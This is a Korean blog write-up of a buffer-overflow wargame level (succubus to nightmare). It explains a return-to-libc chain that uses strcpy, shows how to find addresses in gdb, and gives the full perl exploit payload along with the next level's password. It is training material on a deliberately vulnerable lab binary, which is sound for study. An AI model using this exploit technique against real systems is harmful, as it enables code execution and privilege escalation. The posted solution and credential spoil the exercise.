심심해서 하는 블로그 :: [버퍼 오버플로우] Bof 원정대 (succubus -> nightmare )

1. 취약점



이제 끝이 슬슬 보인다!!!

 

1. main의 return address를 strcpy()의 주소로 한다. 따라서 main()이 종료한 후에 strcpy()가 수행한다.



2. strcpy()는 함수가 수행 완료 후 Retun address가 "AAAA"이다.  strcpy를 활용해서 "AAAA"를 

   RTL로 변경한다.


따라서 현재 strcpy()의 주소를 알아야 하고 argv[2]를 source로 buffer[48]을 dest로 사용할 것이므로 argv[2], buffer의 주소도 알아야 한다.


$ bash2

$ gcc -g -o nightmar1  nightmare.c

$ gdb -q nightmar1

(gdb) print strcpy



strcpy()의 주소 : 0x08048410

이번엔 argv[2], buffer의 주소를 확인하자.

$ cp nightmare.c nightmar1.c

$ vi nightmar1.c

$ gcc -o nightmar1 nightmar1.c

$ ./nightmar1


buffer[48] 주소 : 0xbffffad0

argv[2] 주소 : 0xbffffc56


각각의 RTL 주소는 전 단계를 참고해주세요

1. system() 주소 : 0x40058ae0

2. /bin/sh 의 주소 : 0x400fbff9

3. exit()의 주소 : 0x400391e0


2. Exploit

1. 바로 괴롭힌다.

$ ./nightmare  `perl -e 'print "A"x44, "\x10\x84\x04\x08", "A"x4, "\xd0\xfa\xff\xbf", "\x56\xfc\xff\xbf"'` `perl -e 'print "\xe0\x8a\x05\x40", "\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"'`


2. 결과

id :  nightmare  passwd : beg for me

 

,